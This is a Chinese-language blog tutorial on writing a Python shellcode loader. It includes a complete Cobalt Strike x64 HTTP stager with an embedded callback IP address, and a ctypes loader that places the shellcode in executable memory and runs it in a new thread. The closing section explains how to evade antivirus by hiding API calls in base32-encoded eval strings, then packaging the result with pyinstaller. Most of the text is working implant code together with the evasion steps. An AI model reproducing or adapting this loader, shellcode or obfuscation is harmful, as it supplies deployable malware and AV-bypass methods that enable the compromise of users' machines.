基于python的shellcode&loader初探

shellcode和loader

shellcode是一段用于利用软件漏洞而执行的代码

shellcodeloader是用来运行此代码的加载器

简单来说,shellcode和loader组成了一把完整的枪,前者是子弹,后者是枪身

shellcode

一般来说我们可以用cs直接生成payload,这里我是选择以python为特定编程语言的代码

1
2
# length: 891 bytes
buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\xbe\x15\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x60\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x68\x58\x4e\x4f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x29\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x2e\x31\x32\x2e\x32\x34\x33\x2e\x31\x35\x31\x00\x00\x00\x00\x00"

这一长串\xfc样式的hex代码,就是shellcode,这里shellcode的具体原理暂且不谈,光有子弹不行,还要有枪身所以我们需要一个加载器Loader才能让他发挥作用

loader加载器

和前面一样shellcode的具体原理一样暂且不谈,这里只谈怎么用。

同现实的枪一样,手枪其实构造大差不差,除开左轮枪其他的样子都差不多,shellcodeloader也一样,我们只需要在网上找个demo来用就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import ctypes





shellcode = bytearray(b'\xfc\x48.........')

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
                                          
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
                                     
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

ctypes库

上述demo中导入了ctypes模块,python的ctypes模块是内建,用来调用系统动态链接库函数的模块

使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数(因为windows系统是用c++其余部分由C和汇编编写的,c和c++一定程度上兼容,所以导入此模块)

读取shellcode

1
shellcode = bytearray('\xfc\x48.........')

设置返回类型

我们需要用VirtualAlloc函数来申请内存,返回类型必须和系统位数相同

想在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是 32 位

1
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

申请内存

调用VirtualAlloc函数,来申请一块动态内存区域。

1
2
3
4
5
6
7
VirtualAlloc函数原型和参数如下
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};

申请一块内存可读可写可执行

1
2
3
4
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

参数解释:
ctypes.c_int(0):是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整

ctypes.c_int(len(shellcode)): 以字节为单位分配或者保留多大区域

ctypes.c_int(0x3000):是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并

ctypes.c_int(0x40):是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。

将shellcode载入内存

调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。

RtlMoveMemory函数原型和参数如下

1
2
3
4
RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大

1
2
3
4
5
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

创建进程

调用CreateThread将在主线程的基础上创建一个新线程

CreateThread函数原型和参数如下

1
2
3
4
5
6
7
8
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,          #向线程函数传递的参数
DWORD dwCreationFlags,       #线程创建属性
LPDWORD lpThreadId           #保存新线程的id
)

创建一个线程从shellcode放置位置开始执行

1
2
3
4
5
6
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

参数解释:
lpThreadAttributes:为NULL使用默认安全性

dwStackSize:为0,默认将使用与调用该函数的线程相同的栈空间大小

lpStartAddress: 为ctypes.c_uint64(ptr),定位到申请的内存所在的位置

lpParameter: 不需传递参数时为NULL

dwCreationFlags: 属性为0,表示创建后立即激活

lpThreadId: 为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL

等待线程结束

调用WaitForSingleObject函数用来检测线程的状态

WaitForSingleObject函数原型和参数如下:

1
2
3
4
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);

等待创建的线程运行结束

1
2
3
ctypes.windll.kernel32.WaitForSingleObject(
                                           ctypes.c_int(handle),
                                           ctypes.c_int(-1))

这里两个参数,一个是创建的线程,一个是等待时间,当线程退出时会给出一个信号,函数收到后会结束程序。当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。
loader原理:申请一块内存,将shellcode写入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。

写一个小demo进行打包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import ctypes
import base64







def main():
    # length: 891 bytes
    shellcode = b'\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52' \
                b'\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0' \
                b'\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b' \
                b'\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67' \
                b'\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48' \
                b'\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24' \
                b'\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49' \
                b'\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83' \
                b'\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77' \
                b'\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48' \
                b'\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb' \
                b'\x73\x5a\x48\x89\xc1\x41\xb8\xbe\x15\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba' \
                b'\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00' \
                b'\x02\x60\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48' \
                b'\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff' \
                b'\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00' \
                b'\x00\xe8\xa2\xff\xff\xff\x2f\x57\x63\x59\x4a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74' \
                b'\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c' \
                b'\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20' \
                b'\x35\x2e\x31\x29\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8' \
                b'\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89' \
                b'\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5' \
                b'\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00' \
                b'\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x2e\x31\x32\x2e\x32\x34\x33\x2e\x31\x35\x31\x00\x00' \
                b'\x00\x00\x00'

    shellcode = bytearray(shellcode)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                            ctypes.c_int(len(shellcode)),
                                            ctypes.c_int(0x3000),
                                            ctypes.c_int(0x40))
                                           
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    # ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
    eval(base64.b32decode("MN2HS4DFOMXHO2LOMRWGYLTLMVZG4ZLMGMZC4UTUNRGW65TFJVSW233SPEUGG5DZOBSXGLTDL52WS3TUGY2CQ4DUOIUSYYTVMYWGG5DZOBSXGLTDL5UW45BINRSW4KDTNBSWY3DDN5SGKKJJFE======"))                                    
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                            ctypes.c_int(0),
                                            ctypes.c_uint64(ptr),
                                            ctypes.c_int(0),
                                            ctypes.c_int(0),
                                            ctypes.pointer(ctypes.c_int(0)))

    # ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
    eval(base64.b32decode("MN2HS4DFOMXHO2LOMRWGYLTLMVZG4ZLMGMZC4V3BNF2EM33SKNUW4Z3MMVHWE2TFMN2CQY3UPFYGK4ZOMNPWS3TUFBUGC3TENRSSSLDDOR4XAZLTFZRV62LOOQUC2MJJFE======"))

if __name__ == '__main__':
    main()

静态免杀

以上demo已经初具成型,但是我们最终还要打包为exe(独立可执行文件)文件,才能在windows系统上线,所以这里我们可以用pyinstaller工具

安装

1
pip install pyinstaller

然后输入打包命令

前者为文件名,后者加密密钥自己设置

1
pyinstaller -F xxx.py  --key password

这个时候如果电脑装有一些杀毒软件的话,但你的马并没做免杀,那么打包还未完成就会提示这个

图片

(如果用上述第一个demo基本就会是这种结果)

所以我们就需要进行一些改造

改造方法

很明显马由shellcode和loader组成,那么我们就主要从这俩方面入手

一般来说有加解密和编码shellcode还要改造loader,但为了简单入门,从loader入手

在第一个demo中,存在一段代码

1
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))

我们如果将其进行base64编码,并将编码后的内容用python内置函数eval或者exec进行调用

1
2
#ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
eval(base64.b32decode("MN2HS4DFOMXHO2LOMRWGYLTLMVZG4ZLMGMZC4UTUNRGW65TFJVSW233SPEUGG5DZOBSXGLTDL52WS3TUGY2CQ4DUOIUSYYTVMYWGG5DZOBSXGLTDL5UW45BINRSW4KDTNBSWY3DDN5SGKKJJFE======"))

(上述例子其实并不是这么单个操作,有多处编码后就行了,我只是举个例子)那么就能绕过火绒静态查杀

图片

但之后上线时就被杀了,之后还要研究下过动态查杀。

这里把火绒退了,直接上线cs,一切正常

图片